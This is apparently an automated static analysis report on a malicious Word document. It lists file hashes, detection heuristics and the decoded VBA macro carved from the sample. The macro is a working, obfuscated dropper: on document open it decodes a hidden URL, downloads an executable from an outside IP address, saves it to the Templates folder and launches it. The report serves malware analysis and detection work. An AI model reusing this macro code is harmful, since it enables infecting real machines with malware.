Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6abc2401ea81ecd…

MALICIOUS

Office (OLE)

37.5 KB Created: 2017-10-17 09:08:00 Authoring application: Microsoft Office Word First seen: 2021-01-23
MD5: 38e42dab9793865218d13647d777e94c SHA-1: 7b2e48d0c67ed90b709142b4679d4782f39c665e SHA-256: e6abc2401ea81ecd52bc91ed03a80f8b1e8ad40f66b4519041bd3e9a38779043
330 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6988714-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6988714-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    WVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGL = NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5329 bytes
SHA-256: 4c9aaec0ebc91dac4dcf12df8745f969b64a3612904f5de43e960e7124f8481c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Private Function BOTRZYKUHDCHPWICGSPEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMN(EHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQ)
    For SOJQVNMGZNXFLDLEGTNMJRQCMYCZGHPZBFKHVENXHEYOTTSVNKNDJJRSUQDKHYPQBPRYEOUOIVGGTKTMOBOTRZYKUHDCHPWICGS = 1 To Len(EHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQ)
        PEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINF = PEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINF & Chr(Asc(Mid(EHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQ, SOJQVNMGZNXFLDLEGTNMJRQCMYCZGHPZBFKHVENXHEYOTTSVNKNDJJRSUQDKHYPQBPRYEOUOIVGGTKTMOBOTRZYKUHDCHPWICGS, 1)) - 1)
    Next SOJQVNMGZNXFLDLEGTNMJRQCMYCZGHPZBFKHVENXHEYOTTSVNKNDJJRSUQDKHYPQBPRYEOUOIVGGTKTMOBOTRZYKUHDCHPWICGS
        BOTRZYKUHDCHPWICGSPEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMN = PEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINF
    End Function

Private Sub Document_Open()
Dim YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT
Dim WVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGL
Dim OGLOMSBCMNRDTIQHKTXSIGGFIZWZPDVEFHDPETLJDNJELQHHBUISYGWGYBNIGEMLWHTWUBCJUUZFCQYISCYTJOONPIFIX
Dim BXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOI
Dim HFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEB
Dim EEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIR As Integer
Dim NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY
Dim GNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGLRFPFQZGZYVED
EEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIR = 1

  Dim WshShell As Object
    Dim SpecialPath As String

    Set WshShell = CreateObject("WScript.Shell")
    SpecialPath = WshShell.SpecialFolders("Templates")



'Set GNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGLRFPFQZGZYVED = CreateObject("scripting.filesystemobject")
    'Set OGLOMSBCMNRDTIQHKTXSIGGFIZWZPDVEFHDPETLJDNJELQHHBUISYGWGYBNIGEMLWHTWUBCJUUZFCQYISCYTJOONPIFIX = GNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGLRFPFQZGZYVED.GetSpecialFolder(2)
Set NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY = CreateObject("microsoft.xmlhttp")
Set HFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEB = CreateObject("Shell.Application")

BXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOI = SpecialPath + BOTRZYKUHDCHPWICGSPEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMN("]YZKY[/fyf")
NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY.Open "GET", BOTRZYKUHDCHPWICGSPEFVGIMHWCCBDPSVLRRZBDYLSOHXYJXZHFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMN("iuuq;0046/341/99/2930pufr0Lpn/fyf"), False
NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY.send
WVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGL = NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY.responseBody
If NFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOISOJQVNMGZNXFLDLEGTNMJRQCMY.Status = 200 Then
Set YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT = CreateObject("adodb.stream")
YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT.Open
YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT.Type = EEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIR
YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT.Write WVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIRERWTDUGXDGEKSZEFJVSHIYCLPKZXXWZRVYHUUCXYUHVLKBUFBVDIZYSSGL
YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT.SaveToFile BXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOI, EEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIR + EEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXTGNJCSTESUCZRXKKXDJWHWIR
YTJOONPIFIXEEMNPLXFBTKLVKMTYJPJCQBBOFOHJVJOLUTFPCXVCKRDWBNKYZQBDHCRWWVXKNQGMMTVXT.Close
End If
HFWDPPEIOCMCNWJWCYIZLDILJPXFJKOBXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEB.Open (BXMNEHQUPFDDCFXBEMZZHDEZMBQPGZKGBINFEXXLQWKUKVFLFEBKITLQTRXGHRSWJYOVMPYDXNLLKNFCGUIBJLMIUJYQOI)


End Sub

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

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